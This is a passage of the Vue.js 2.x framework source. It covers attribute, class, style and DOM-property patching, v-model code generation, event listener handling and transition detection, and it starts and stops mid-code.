? 'true'\n          : key;\n        el.setAttribute(key, value);\n      }\n    } else if (isEnumeratedAttr(key)) {\n      el.setAttribute(key, isFalsyAttrValue(value) || value === 'false' ? 'false' : 'true');\n    } else if (isXlink(key)) {\n      if (isFalsyAttrValue(value)) {\n        el.removeAttributeNS(xlinkNS, getXlinkProp(key));\n      } else {\n        el.setAttributeNS(xlinkNS, key, value);\n      }\n    } else {\n      baseSetAttr(el, key, value);\n    }\n  }\n\n  function baseSetAttr (el, key, value) {\n    if (isFalsyAttrValue(value)) {\n      el.removeAttribute(key);\n    } else {\n      // #7138: IE10 & 11 fires input event when setting placeholder on\n      // <textarea>... block the first input event and remove the blocker\n      // immediately.\n      /* istanbul ignore if */\n      if (\n        isIE && !isIE9 &&\n        (el.tagName === 'TEXTAREA' || el.tagName === 'INPUT') &&\n        key === 'placeholder' && !el.__ieph\n      ) {\n        var blocker = function (e) {\n          e.stopImmediatePropagation();\n          el.removeEventListener('input', blocker);\n        };\n        el.addEventListener('input', blocker);\n        // $flow-disable-line\n        el.__ieph = true; /* IE placeholder patched */\n      }\n      el.setAttribute(key, value);\n    }\n  }\n\n  var attrs = {\n    create: updateAttrs,\n    update: updateAttrs\n  };\n\n  /*  */\n\n  function updateClass (oldVnode, vnode) {\n    var el = vnode.elm;\n    var data = vnode.data;\n    var oldData = oldVnode.data;\n    if (\n      isUndef(data.staticClass) &&\n      isUndef(data.class) && (\n        isUndef(oldData) || (\n          isUndef(oldData.staticClass) &&\n          isUndef(oldData.class)\n        )\n      )\n    ) {\n      return\n    }\n\n    var cls = genClassForVnode(vnode);\n\n    // handle transition classes\n    var transitionClass = el._transitionClasses;\n    if (isDef(transitionClass)) {\n      cls = concat(cls, stringifyClass(transitionClass));\n    }\n\n    // set the class\n    if (cls !== el._prevClass) {\n      el.setAttribute('class', cls);\n      el._prevClass = cls;\n    }\n  }\n\n  var klass = {\n    create: updateClass,\n    update: updateClass\n  };\n\n  /*  */\n\n  var validDivisionCharRE = /[\\w).+\\-_$\\]]/;\n\n  function parseFilters (exp) {\n    var inSingle = false;\n    var inDouble = false;\n    var inTemplateString = false;\n    var inRegex = false;\n    var curly = 0;\n    var square = 0;\n    var paren = 0;\n    var lastFilterIndex = 0;\n    var c, prev, i, expression, filters;\n\n    for (i = 0; i < exp.length; i++) {\n      prev = c;\n      c = exp.charCodeAt(i);\n      if (inSingle) {\n        if (c === 0x27 && prev !== 0x5C) { inSingle = false; }\n      } else if (inDouble) {\n        if (c === 0x22 && prev !== 0x5C) { inDouble = false; }\n      } else if (inTemplateString) {\n        if (c === 0x60 && prev !== 0x5C) { inTemplateString = false; }\n      } else if (inRegex) {\n        if (c === 0x2f && prev !== 0x5C) { inRegex = false; }\n      } else if (\n        c === 0x7C && // pipe\n        exp.charCodeAt(i + 1) !== 0x7C &&\n        exp.charCodeAt(i - 1) !== 0x7C &&\n        !curly && !square && !paren\n      ) {\n        if (expression === undefined) {\n          // first filter, end of expression\n          lastFilterIndex = i + 1;\n          expression = exp.slice(0, i).trim();\n        } else {\n          pushFilter();\n        }\n      } else {\n        switch (c) {\n          case 0x22: inDouble = true; break         // \"\n          case 0x27: inSingle = true; break         // '\n          case 0x60: inTemplateString = true; break // `\n          case 0x28: paren++; break                 // (\n          case 0x29: paren--; break                 // )\n          case 0x5B: square++; break                // [\n          case 0x5D: square--; break                // ]\n          case 0x7B: curly++; break                 // {\n          case 0x7D: curly--; break                 // }\n        }\n        if (c === 0x2f) { // /\n          var j = i - 1;\n          var p = (void 0);\n          // find first non-whitespace prev char\n          for (; j >= 0; j--) {\n            p = exp.charAt(j);\n            if (p !== ' ') { break }\n          }\n          if (!p || !validDivisionCharRE.test(p)) {\n            inRegex = true;\n          }\n        }\n      }\n    }\n\n    if (expression === undefined) {\n      expression = exp.slice(0, i).trim();\n    } else if (lastFilterIndex !== 0) {\n      pushFilter();\n    }\n\n    function pushFilter () {\n      (filters || (filters = [])).push(exp.slice(lastFilterIndex, i).trim());\n      lastFilterIndex = i + 1;\n    }\n\n    if (filters) {\n      for (i = 0; i < filters.length; i++) {\n        expression = wrapFilter(expression, filters[i]);\n      }\n    }\n\n    return expression\n  }\n\n  function wrapFilter (exp, filter) {\n    var i = filter.indexOf('(');\n    if (i < 0) {\n      // _f: resolveFilter\n      return (\"_f(\\\"\" + filter + \"\\\")(\" + exp + \")\")\n    } else {\n      var name = filter.slice(0, i);\n      var args = filter.slice(i + 1);\n      return (\"_f(\\\"\" + name + \"\\\")(\" + exp + (args !== ')' ? ',' + args : args))\n    }\n  }\n\n  /*  */\n\n  function baseWarn (msg) {\n    console.error((\"[Vue compiler]: \" + msg));\n  }\n\n  function pluckModuleFunction (\n    modules,\n    key\n  ) {\n    return modules\n      ? modules.map(function (m) { return m[key]; }).filter(function (_) { return _; })\n      : []\n  }\n\n  function addProp (el, name, value) {\n    (el.props || (el.props = [])).push({ name: name, value: value });\n    el.plain = false;\n  }\n\n  function addAttr (el, name, value) {\n    (el.attrs || (el.attrs = [])).push({ name: name, value: value });\n    el.plain = false;\n  }\n\n  // add a raw attr (use this in preTransforms)\n  function addRawAttr (el, name, value) {\n    el.attrsMap[name] = value;\n    el.attrsList.push({ name: name, value: value });\n  }\n\n  function addDirective (\n    el,\n    name,\n    rawName,\n    value,\n    arg,\n    modifiers\n  ) {\n    (el.directives || (el.directives = [])).push({ name: name, rawName: rawName, value: value, arg: arg, modifiers: modifiers });\n    el.plain = false;\n  }\n\n  function addHandler (\n    el,\n    name,\n    value,\n    modifiers,\n    important,\n    warn\n  ) {\n    modifiers = modifiers || emptyObject;\n    // warn prevent and passive modifier\n    /* istanbul ignore if */\n    if (\n      warn &&\n      modifiers.prevent && modifiers.passive\n    ) {\n      warn(\n        'passive and prevent can\\'t be used together. ' +\n        'Passive handler can\\'t prevent default event.'\n      );\n    }\n\n    // normalize click.right and click.middle since they don't actually fire\n    // this is technically browser-specific, but at least for now browsers are\n    // the only target envs that have right/middle clicks.\n    if (name === 'click') {\n      if (modifiers.right) {\n        name = 'contextmenu';\n        delete modifiers.right;\n      } else if (modifiers.middle) {\n        name = 'mouseup';\n      }\n    }\n\n    // check capture modifier\n    if (modifiers.capture) {\n      delete modifiers.capture;\n      name = '!' + name; // mark the event as captured\n    }\n    if (modifiers.once) {\n      delete modifiers.once;\n      name = '~' + name; // mark the event as once\n    }\n    /* istanbul ignore if */\n    if (modifiers.passive) {\n      delete modifiers.passive;\n      name = '&' + name; // mark the event as passive\n    }\n\n    var events;\n    if (modifiers.native) {\n      delete modifiers.native;\n      events = el.nativeEvents || (el.nativeEvents = {});\n    } else {\n      events = el.events || (el.events = {});\n    }\n\n    var newHandler = {\n      value: value.trim()\n    };\n    if (modifiers !== emptyObject) {\n      newHandler.modifiers = modifiers;\n    }\n\n    var handlers = events[name];\n    /* istanbul ignore if */\n    if (Array.isArray(handlers)) {\n      important ? handlers.unshift(newHandler) : handlers.push(newHandler);\n    } else if (handlers) {\n      events[name] = important ? [newHandler, handlers] : [handlers, newHandler];\n    } else {\n      events[name] = newHandler;\n    }\n\n    el.plain = false;\n  }\n\n  function getBindingAttr (\n    el,\n    name,\n    getStatic\n  ) {\n    var dynamicValue =\n      getAndRemoveAttr(el, ':' + name) ||\n      getAndRemoveAttr(el, 'v-bind:' + name);\n    if (dynamicValue != null) {\n      return parseFilters(dynamicValue)\n    } else if (getStatic !== false) {\n      var staticValue = getAndRemoveAttr(el, name);\n      if (staticValue != null) {\n        return JSON.stringify(staticValue)\n      }\n    }\n  }\n\n  // note: this only removes the attr from the Array (attrsList) so that it\n  // doesn't get processed by processAttrs.\n  // By default it does NOT remove it from the map (attrsMap) because the map is\n  // needed during codegen.\n  function getAndRemoveAttr (\n    el,\n    name,\n    removeFromMap\n  ) {\n    var val;\n    if ((val = el.attrsMap[name]) != null) {\n      var list = el.attrsList;\n      for (var i = 0, l = list.length; i < l; i++) {\n        if (list[i].name === name) {\n          list.splice(i, 1);\n          break\n        }\n      }\n    }\n    if (removeFromMap) {\n      delete el.attrsMap[name];\n    }\n    return val\n  }\n\n  /*  */\n\n  /**\n   * Cross-platform code generation for component v-model\n   */\n  function genComponentModel (\n    el,\n    value,\n    modifiers\n  ) {\n    var ref = modifiers || {};\n    var number = ref.number;\n    var trim = ref.trim;\n\n    var baseValueExpression = '$$v';\n    var valueExpression = baseValueExpression;\n    if (trim) {\n      valueExpression =\n        \"(typeof \" + baseValueExpression + \" === 'string'\" +\n        \"? \" + baseValueExpression + \".trim()\" +\n        \": \" + baseValueExpression + \")\";\n    }\n    if (number) {\n      valueExpression = \"_n(\" + valueExpression + \")\";\n    }\n    var assignment = genAssignmentCode(value, valueExpression);\n\n    el.model = {\n      value: (\"(\" + value + \")\"),\n      expression: JSON.stringify(value),\n      callback: (\"function (\" + baseValueExpression + \") {\" + assignment + \"}\")\n    };\n  }\n\n  /**\n   * Cross-platform codegen helper for generating v-model value assignment code.\n   */\n  function genAssignmentCode (\n    value,\n    assignment\n  ) {\n    var res = parseModel(value);\n    if (res.key === null) {\n      return (value + \"=\" + assignment)\n    } else {\n      return (\"$set(\" + (res.exp) + \", \" + (res.key) + \", \" + assignment + \")\")\n    }\n  }\n\n  /**\n   * Parse a v-model expression into a base path and a final key segment.\n   * Handles both dot-path and possible square brackets.\n   *\n   * Possible cases:\n   *\n   * - test\n   * - test[key]\n   * - test[test1[key]]\n   * - test[\"a\"][key]\n   * - xxx.test[a[a].test1[key]]\n   * - test.xxx.a[\"asa\"][test1[key]]\n   *\n   */\n\n  var len, str, chr, index$1, expressionPos, expressionEndPos;\n\n\n\n  function parseModel (val) {\n    // Fix https://github.com/vuejs/vue/pull/7730\n    // allow v-model=\"obj.val \" (trailing whitespace)\n    val = val.trim();\n    len = val.length;\n\n    if (val.indexOf('[') < 0 || val.lastIndexOf(']') < len - 1) {\n      index$1 = val.lastIndexOf('.');\n      if (index$1 > -1) {\n        return {\n          exp: val.slice(0, index$1),\n          key: '\"' + val.slice(index$1 + 1) + '\"'\n        }\n      } else {\n        return {\n          exp: val,\n          key: null\n        }\n      }\n    }\n\n    str = val;\n    index$1 = expressionPos = expressionEndPos = 0;\n\n    while (!eof()) {\n      chr = next();\n      /* istanbul ignore if */\n      if (isStringStart(chr)) {\n        parseString(chr);\n      } else if (chr === 0x5B) {\n        parseBracket(chr);\n      }\n    }\n\n    return {\n      exp: val.slice(0, expressionPos),\n      key: val.slice(expressionPos + 1, expressionEndPos)\n    }\n  }\n\n  function next () {\n    return str.charCodeAt(++index$1)\n  }\n\n  function eof () {\n    return index$1 >= len\n  }\n\n  function isStringStart (chr) {\n    return chr === 0x22 || chr === 0x27\n  }\n\n  function parseBracket (chr) {\n    var inBracket = 1;\n    expressionPos = index$1;\n    while (!eof()) {\n      chr = next();\n      if (isStringStart(chr)) {\n        parseString(chr);\n        continue\n      }\n      if (chr === 0x5B) { inBracket++; }\n      if (chr === 0x5D) { inBracket--; }\n      if (inBracket === 0) {\n        expressionEndPos = index$1;\n        break\n      }\n    }\n  }\n\n  function parseString (chr) {\n    var stringQuote = chr;\n    while (!eof()) {\n      chr = next();\n      if (chr === stringQuote) {\n        break\n      }\n    }\n  }\n\n  /*  */\n\n  var warn$1;\n\n  // in some cases, the event used has to be determined at runtime\n  // so we used some reserved tokens during compile.\n  var RANGE_TOKEN = '__r';\n  var CHECKBOX_RADIO_TOKEN = '__c';\n\n  function model (\n    el,\n    dir,\n    _warn\n  ) {\n    warn$1 = _warn;\n    var value = dir.value;\n    var modifiers = dir.modifiers;\n    var tag = el.tag;\n    var type = el.attrsMap.type;\n\n    {\n      // inputs with type=\"file\" are read only and setting the input's\n      // value will throw an error.\n      if (tag === 'input' && type === 'file') {\n        warn$1(\n          \"<\" + (el.tag) + \" v-model=\\\"\" + value + \"\\\" type=\\\"file\\\">:\\n\" +\n          \"File inputs are read only. Use a v-on:change listener instead.\"\n        );\n      }\n    }\n\n    if (el.component) {\n      genComponentModel(el, value, modifiers);\n      // component v-model doesn't need extra runtime\n      return false\n    } else if (tag === 'select') {\n      genSelect(el, value, modifiers);\n    } else if (tag === 'input' && type === 'checkbox') {\n      genCheckboxModel(el, value, modifiers);\n    } else if (tag === 'input' && type === 'radio') {\n      genRadioModel(el, value, modifiers);\n    } else if (tag === 'input' || tag === 'textarea') {\n      genDefaultModel(el, value, modifiers);\n    } else if (!config.isReservedTag(tag)) {\n      genComponentModel(el, value, modifiers);\n      // component v-model doesn't need extra runtime\n      return false\n    } else {\n      warn$1(\n        \"<\" + (el.tag) + \" v-model=\\\"\" + value + \"\\\">: \" +\n        \"v-model is not supported on this element type. \" +\n        'If you are working with contenteditable, it\\'s recommended to ' +\n        'wrap a library dedicated for that purpose inside a custom component.'\n      );\n    }\n\n    // ensure runtime directive metadata\n    return true\n  }\n\n  function genCheckboxModel (\n    el,\n    value,\n    modifiers\n  ) {\n    var number = modifiers && modifiers.number;\n    var valueBinding = getBindingAttr(el, 'value') || 'null';\n    var trueValueBinding = getBindingAttr(el, 'true-value') || 'true';\n    var falseValueBinding = getBindingAttr(el, 'false-value') || 'false';\n    addProp(el, 'checked',\n      \"Array.isArray(\" + value + \")\" +\n      \"?_i(\" + value + \",\" + valueBinding + \")>-1\" + (\n        trueValueBinding === 'true'\n          ? (\":(\" + value + \")\")\n          : (\":_q(\" + value + \",\" + trueValueBinding + \")\")\n      )\n    );\n    addHandler(el, 'change',\n      \"var $$a=\" + value + \",\" +\n          '$$el=$event.target,' +\n          \"$$c=$$el.checked?(\" + trueValueBinding + \"):(\" + falseValueBinding + \");\" +\n      'if(Array.isArray($$a)){' +\n        \"var $$v=\" + (number ? '_n(' + valueBinding + ')' : valueBinding) + \",\" +\n            '$$i=_i($$a,$$v);' +\n        \"if($$el.checked){$$i<0&&(\" + (genAssignmentCode(value, '$$a.concat([$$v])')) + \")}\" +\n        \"else{$$i>-1&&(\" + (genAssignmentCode(value, '$$a.slice(0,$$i).concat($$a.slice($$i+1))')) + \")}\" +\n      \"}else{\" + (genAssignmentCode(value, '$$c')) + \"}\",\n      null, true\n    );\n  }\n\n  function genRadioModel (\n    el,\n    value,\n    modifiers\n  ) {\n    var number = modifiers && modifiers.number;\n    var valueBinding = getBindingAttr(el, 'value') || 'null';\n    valueBinding = number ? (\"_n(\" + valueBinding + \")\") : valueBinding;\n    addProp(el, 'checked', (\"_q(\" + value + \",\" + valueBinding + \")\"));\n    addHandler(el, 'change', genAssignmentCode(value, valueBinding), null, true);\n  }\n\n  function genSelect (\n    el,\n    value,\n    modifiers\n  ) {\n    var number = modifiers && modifiers.number;\n    var selectedVal = \"Array.prototype.filter\" +\n      \".call($event.target.options,function(o){return o.selected})\" +\n      \".map(function(o){var val = \\\"_value\\\" in o ? o._value : o.value;\" +\n      \"return \" + (number ? '_n(val)' : 'val') + \"})\";\n\n    var assignment = '$event.target.multiple ? $$selectedVal : $$selectedVal[0]';\n    var code = \"var $$selectedVal = \" + selectedVal + \";\";\n    code = code + \" \" + (genAssignmentCode(value, assignment));\n    addHandler(el, 'change', code, null, true);\n  }\n\n  function genDefaultModel (\n    el,\n    value,\n    modifiers\n  ) {\n    var type = el.attrsMap.type;\n\n    // warn if v-bind:value conflicts with v-model\n    // except for inputs with v-bind:type\n    {\n      var value$1 = el.attrsMap['v-bind:value'] || el.attrsMap[':value'];\n      var typeBinding = el.attrsMap['v-bind:type'] || el.attrsMap[':type'];\n      if (value$1 && !typeBinding) {\n        var binding = el.attrsMap['v-bind:value'] ? 'v-bind:value' : ':value';\n        warn$1(\n          binding + \"=\\\"\" + value$1 + \"\\\" conflicts with v-model on the same element \" +\n          'because the latter already expands to a value binding internally'\n        );\n      }\n    }\n\n    var ref = modifiers || {};\n    var lazy = ref.lazy;\n    var number = ref.number;\n    var trim = ref.trim;\n    var needCompositionGuard = !lazy && type !== 'range';\n    var event = lazy\n      ? 'change'\n      : type === 'range'\n        ? RANGE_TOKEN\n        : 'input';\n\n    var valueExpression = '$event.target.value';\n    if (trim) {\n      valueExpression = \"$event.target.value.trim()\";\n    }\n    if (number) {\n      valueExpression = \"_n(\" + valueExpression + \")\";\n    }\n\n    var code = genAssignmentCode(value, valueExpression);\n    if (needCompositionGuard) {\n      code = \"if($event.target.composing)return;\" + code;\n    }\n\n    addProp(el, 'value', (\"(\" + value + \")\"));\n    addHandler(el, event, code, null, true);\n    if (trim || number) {\n      addHandler(el, 'blur', '$forceUpdate()');\n    }\n  }\n\n  /*  */\n\n  // normalize v-model event tokens that can only be determined at runtime.\n  // it's important to place the event as the first in the array because\n  // the whole point is ensuring the v-model callback gets called before\n  // user-attached handlers.\n  function normalizeEvents (on) {\n    /* istanbul ignore if */\n    if (isDef(on[RANGE_TOKEN])) {\n      // IE input[type=range] only supports `change` event\n      var event = isIE ? 'change' : 'input';\n      on[event] = [].concat(on[RANGE_TOKEN], on[event] || []);\n      delete on[RANGE_TOKEN];\n    }\n    // This was originally intended to fix #4521 but no longer necessary\n    // after 2.5. Keeping it for backwards compat with generated code from < 2.4\n    /* istanbul ignore if */\n    if (isDef(on[CHECKBOX_RADIO_TOKEN])) {\n      on.change = [].concat(on[CHECKBOX_RADIO_TOKEN], on.change || []);\n      delete on[CHECKBOX_RADIO_TOKEN];\n    }\n  }\n\n  var target$1;\n\n  function createOnceHandler$1 (event, handler, capture) {\n    var _target = target$1; // save current target element in closure\n    return function onceHandler () {\n      var res = handler.apply(null, arguments);\n      if (res !== null) {\n        remove$2(event, onceHandler, capture, _target);\n      }\n    }\n  }\n\n  function add$1 (\n    event,\n    handler,\n    capture,\n    passive\n  ) {\n    handler = withMacroTask(handler);\n    target$1.addEventListener(\n      event,\n      handler,\n      supportsPassive\n        ? { capture: capture, passive: passive }\n        : capture\n    );\n  }\n\n  function remove$2 (\n    event,\n    handler,\n    capture,\n    _target\n  ) {\n    (_target || target$1).removeEventListener(\n      event,\n      handler._withTask || handler,\n      capture\n    );\n  }\n\n  function updateDOMListeners (oldVnode, vnode) {\n    if (isUndef(oldVnode.data.on) && isUndef(vnode.data.on)) {\n      return\n    }\n    var on = vnode.data.on || {};\n    var oldOn = oldVnode.data.on || {};\n    target$1 = vnode.elm;\n    normalizeEvents(on);\n    updateListeners(on, oldOn, add$1, remove$2, createOnceHandler$1, vnode.context);\n    target$1 = undefined;\n  }\n\n  var events = {\n    create: updateDOMListeners,\n    update: updateDOMListeners\n  };\n\n  /*  */\n\n  function updateDOMProps (oldVnode, vnode) {\n    if (isUndef(oldVnode.data.domProps) && isUndef(vnode.data.domProps)) {\n      return\n    }\n    var key, cur;\n    var elm = vnode.elm;\n    var oldProps = oldVnode.data.domProps || {};\n    var props = vnode.data.domProps || {};\n    // clone observed objects, as the user probably wants to mutate it\n    if (isDef(props.__ob__)) {\n      props = vnode.data.domProps = extend({}, props);\n    }\n\n    for (key in oldProps) {\n      if (isUndef(props[key])) {\n        elm[key] = '';\n      }\n    }\n    for (key in props) {\n      cur = props[key];\n      // ignore children if the node has textContent or innerHTML,\n      // as these will throw away existing DOM nodes and cause removal errors\n      // on subsequent patches (#3360)\n      if (key === 'textContent' || key === 'innerHTML') {\n        if (vnode.children) { vnode.children.length = 0; }\n        if (cur === oldProps[key]) { continue }\n        // #6601 work around Chrome version <= 55 bug where single textNode\n        // replaced by innerHTML/textContent retains its parentNode property\n        if (elm.childNodes.length === 1) {\n          elm.removeChild(elm.childNodes[0]);\n        }\n      }\n\n      if (key === 'value') {\n        // store value as _value as well since\n        // non-string values will be stringified\n        elm._value = cur;\n        // avoid resetting cursor position when value is the same\n        var strCur = isUndef(cur) ? '' : String(cur);\n        if (shouldUpdateValue(elm, strCur)) {\n          elm.value = strCur;\n        }\n      } else {\n        elm[key] = cur;\n      }\n    }\n  }\n\n  // check platforms/web/util/attrs.js acceptValue\n\n\n  function shouldUpdateValue (elm, checkVal) {\n    return (!elm.composing && (\n      elm.tagName === 'OPTION' ||\n      isNotInFocusAndDirty(elm, checkVal) ||\n      isDirtyWithModifiers(elm, checkVal)\n    ))\n  }\n\n  function isNotInFocusAndDirty (elm, checkVal) {\n    // return true when textbox (.number and .trim) loses focus and its value is\n    // not equal to the updated value\n    var notInFocus = true;\n    // #6157\n    // work around IE bug when accessing document.activeElement in an iframe\n    try { notInFocus = document.activeElement !== elm; } catch (e) {}\n    return notInFocus && elm.value !== checkVal\n  }\n\n  function isDirtyWithModifiers (elm, newVal) {\n    var value = elm.value;\n    var modifiers = elm._vModifiers; // injected by v-model runtime\n    if (isDef(modifiers)) {\n      if (modifiers.lazy) {\n        // inputs with lazy should only be updated when not in focus\n        return false\n      }\n      if (modifiers.number) {\n        return toNumber(value) !== toNumber(newVal)\n      }\n      if (modifiers.trim) {\n        return value.trim() !== newVal.trim()\n      }\n    }\n    return value !== newVal\n  }\n\n  var domProps = {\n    create: updateDOMProps,\n    update: updateDOMProps\n  };\n\n  /*  */\n\n  var parseStyleText = cached(function (cssText) {\n    var res = {};\n    var listDelimiter = /;(?![^(]*\\))/g;\n    var propertyDelimiter = /:(.+)/;\n    cssText.split(listDelimiter).forEach(function (item) {\n      if (item) {\n        var tmp = item.split(propertyDelimiter);\n        tmp.length > 1 && (res[tmp[0].trim()] = tmp[1].trim());\n      }\n    });\n    return res\n  });\n\n  // merge static and dynamic style data on the same vnode\n  function normalizeStyleData (data) {\n    var style = normalizeStyleBinding(data.style);\n    // static style is pre-processed into an object during compilation\n    // and is always a fresh object, so it's safe to merge into it\n    return data.staticStyle\n      ? extend(data.staticStyle, style)\n      : style\n  }\n\n  // normalize possible array / string values into Object\n  function normalizeStyleBinding (bindingStyle) {\n    if (Array.isArray(bindingStyle)) {\n      return toObject(bindingStyle)\n    }\n    if (typeof bindingStyle === 'string') {\n      return parseStyleText(bindingStyle)\n    }\n    return bindingStyle\n  }\n\n  /**\n   * parent component style should be after child's\n   * so that parent component's style could override it\n   */\n  function getStyle (vnode, checkChild) {\n    var res = {};\n    var styleData;\n\n    if (checkChild) {\n      var childNode = vnode;\n      while (childNode.componentInstance) {\n        childNode = childNode.componentInstance._vnode;\n        if (\n          childNode && childNode.data &&\n          (styleData = normalizeStyleData(childNode.data))\n        ) {\n          extend(res, styleData);\n        }\n      }\n    }\n\n    if ((styleData = normalizeStyleData(vnode.data))) {\n      extend(res, styleData);\n    }\n\n    var parentNode = vnode;\n    while ((parentNode = parentNode.parent)) {\n      if (parentNode.data && (styleData = normalizeStyleData(parentNode.data))) {\n        extend(res, styleData);\n      }\n    }\n    return res\n  }\n\n  /*  */\n\n  var cssVarRE = /^--/;\n  var importantRE = /\\s*!important$/;\n  var setProp = function (el, name, val) {\n    /* istanbul ignore if */\n    if (cssVarRE.test(name)) {\n      el.style.setProperty(name, val);\n    } else if (importantRE.test(val)) {\n      el.style.setProperty(name, val.replace(importantRE, ''), 'important');\n    } else {\n      var normalizedName = normalize(name);\n      if (Array.isArray(val)) {\n        // Support values array created by autoprefixer, e.g.\n        // {display: [\"-webkit-box\", \"-ms-flexbox\", \"flex\"]}\n        // Set them one by one, and the browser will only set those it can recognize\n        for (var i = 0, len = val.length; i < len; i++) {\n          el.style[normalizedName] = val[i];\n        }\n      } else {\n        el.style[normalizedName] = val;\n      }\n    }\n  };\n\n  var vendorNames = ['Webkit', 'Moz', 'ms'];\n\n  var emptyStyle;\n  var normalize = cached(function (prop) {\n    emptyStyle = emptyStyle || document.createElement('div').style;\n    prop = camelize(prop);\n    if (prop !== 'filter' && (prop in emptyStyle)) {\n      return prop\n    }\n    var capName = prop.charAt(0).toUpperCase() + prop.slice(1);\n    for (var i = 0; i < vendorNames.length; i++) {\n      var name = vendorNames[i] + capName;\n      if (name in emptyStyle) {\n        return name\n      }\n    }\n  });\n\n  function updateStyle (oldVnode, vnode) {\n    var data = vnode.data;\n    var oldData = oldVnode.data;\n\n    if (isUndef(data.staticStyle) && isUndef(data.style) &&\n      isUndef(oldData.staticStyle) && isUndef(oldData.style)\n    ) {\n      return\n    }\n\n    var cur, name;\n    var el = vnode.elm;\n    var oldStaticStyle = oldData.staticStyle;\n    var oldStyleBinding = oldData.normalizedStyle || oldData.style || {};\n\n    // if static style exists, stylebinding already merged into it when doing normalizeStyleData\n    var oldStyle = oldStaticStyle || oldStyleBinding;\n\n    var style = normalizeStyleBinding(vnode.data.style) || {};\n\n    // store normalized style under a different key for next diff\n    // make sure to clone it if it's reactive, since the user likely wants\n    // to mutate it.\n    vnode.data.normalizedStyle = isDef(style.__ob__)\n      ? extend({}, style)\n      : style;\n\n    var newStyle = getStyle(vnode, true);\n\n    for (name in oldStyle) {\n      if (isUndef(newStyle[name])) {\n        setProp(el, name, '');\n      }\n    }\n    for (name in newStyle) {\n      cur = newStyle[name];\n      if (cur !== oldStyle[name]) {\n        // ie9 setting to null has no effect, must use empty string\n        setProp(el, name, cur == null ? '' : cur);\n      }\n    }\n  }\n\n  var style = {\n    create: updateStyle,\n    update: updateStyle\n  };\n\n  /*  */\n\n  var whitespaceRE = /\\s+/;\n\n  /**\n   * Add class with compatibility for SVG since classList is not supported on\n   * SVG elements in IE\n   */\n  function addClass (el, cls) {\n    /* istanbul ignore if */\n    if (!cls || !(cls = cls.trim())) {\n      return\n    }\n\n    /* istanbul ignore else */\n    if (el.classList) {\n      if (cls.indexOf(' ') > -1) {\n        cls.split(whitespaceRE).forEach(function (c) { return el.classList.add(c); });\n      } else {\n        el.classList.add(cls);\n      }\n    } else {\n      var cur = \" \" + (el.getAttribute('class') || '') + \" \";\n      if (cur.indexOf(' ' + cls + ' ') < 0) {\n        el.setAttribute('class', (cur + cls).trim());\n      }\n    }\n  }\n\n  /**\n   * Remove class with compatibility for SVG since classList is not supported on\n   * SVG elements in IE\n   */\n  function removeClass (el, cls) {\n    /* istanbul ignore if */\n    if (!cls || !(cls = cls.trim())) {\n      return\n    }\n\n    /* istanbul ignore else */\n    if (el.classList) {\n      if (cls.indexOf(' ') > -1) {\n        cls.split(whitespaceRE).forEach(function (c) { return el.classList.remove(c); });\n      } else {\n        el.classList.remove(cls);\n      }\n      if (!el.classList.length) {\n        el.removeAttribute('class');\n      }\n    } else {\n      var cur = \" \" + (el.getAttribute('class') || '') + \" \";\n      var tar = ' ' + cls + ' ';\n      while (cur.indexOf(tar) >= 0) {\n        cur = cur.replace(tar, ' ');\n      }\n      cur = cur.trim();\n      if (cur) {\n        el.setAttribute('class', cur);\n      } else {\n        el.removeAttribute('class');\n      }\n    }\n  }\n\n  /*  */\n\n  function resolveTransition (def$$1) {\n    if (!def$$1) {\n      return\n    }\n    /* istanbul ignore else */\n    if (typeof def$$1 === 'object') {\n      var res = {};\n      if (def$$1.css !== false) {\n        extend(res, autoCssTransition(def$$1.name || 'v'));\n      }\n      extend(res, def$$1);\n      return res\n    } else if (typeof def$$1 === 'string') {\n      return autoCssTransition(def$$1)\n    }\n  }\n\n  var autoCssTransition = cached(function (name) {\n    return {\n      enterClass: (name + \"-enter\"),\n      enterToClass: (name + \"-enter-to\"),\n      enterActiveClass: (name + \"-enter-active\"),\n      leaveClass: (name + \"-leave\"),\n      leaveToClass: (name + \"-leave-to\"),\n      leaveActiveClass: (name + \"-leave-active\")\n    }\n  });\n\n  var hasTransition = inBrowser && !isIE9;\n  var TRANSITION = 'transition';\n  var ANIMATION = 'animation';\n\n  // Transition property/event sniffing\n  var transitionProp = 'transition';\n  var transitionEndEvent = 'transitionend';\n  var animationProp = 'animation';\n  var animationEndEvent = 'animationend';\n  if (hasTransition) {\n    /* istanbul ignore if */\n    if (window.ontransitionend === undefined &&\n      window.onwebkittransitionend !== undefined\n    ) {\n      transitionProp = 'WebkitTransition';\n      transitionEndEvent = 'webkitTransitionEnd';\n    }\n    if (window.onanimationend === undefined &&\n      window.onwebkitanimationend !== undefined\n    ) {\n      animationProp = 'WebkitAnimation';\n      animationEndEvent = 'webkitAnimationEnd';\n    }\n  }\n\n  // binding to window is necessary to make hot reload work in IE in strict mode\n  var raf = inBrowser\n    ? window.requestAnimationFrame\n      ? window.requestAnimationFrame.bind(window)\n      : setTimeout\n    : /* istanbul ignore next */ function (fn) { return fn(); };\n\n  function nextFrame (fn) {\n    raf(function () {\n      raf(fn);\n    });\n  }\n\n  function addTransitionClass (el, cls) {\n    var transitionClasses = el._transitionClasses || (el._transitionClasses = []);\n    if (transitionClasses.indexOf(cls) < 0) {\n      transitionClasses.push(cls);\n      addClass(el, cls);\n    }\n  }\n\n  function removeTransitionClass (el, cls) {\n    if (el._transitionClasses) {\n      remove(el._transitionClasses, cls);\n    }\n    removeClass(el, cls);\n  }\n\n  function whenTransitionEnds (\n    el,\n    expectedType,\n    cb\n  ) {\n    var ref = getTransitionInfo(el, expectedType);\n    var type = ref.type;\n    var timeout = ref.timeout;\n    var propCount = ref.propCount;\n    if (!type) { return cb() }\n    var event = type === TRANSITION ? transitionEndEvent : animationEndEvent;\n    var ended = 0;\n    var end = function () {\n      el.removeEventListener(event, onEnd);\n      cb();\n    };\n    var onEnd = function (e) {\n      if (e.target === el) {\n        if (++ended >= propCount) {\n          end();\n        }\n      }\n    };\n    setTimeout(function () {\n      if (ended < propCount) {\n        end();\n      }\n    }, timeout + 1);\n    el.addEventListener(event, onEnd);\n  }\n\n  var transformRE = /\\b(transform|all)(,|$)/;\n\n  function getTransitionInfo (el, expectedType) {\n    var styles = window.getComputedStyle(el);\n    // JSDOM may return undefined for transition properties\n    var transitionDelays = (styles[transitionProp + 'Delay'] || '').split(', ');\n    var transitionDurations = (styles[transitionProp + 'Duration'] || '').split(', ');\n    var transitionTimeout = getTimeout(transitionDelays, transitionDurations);\n    var animationDelays = (styles[animationProp + 'Delay'] || '').split(', ');\n    var animationDurations = (styles[animationProp + 'Duration'] || '').split(', ');\n    var animationTimeout = 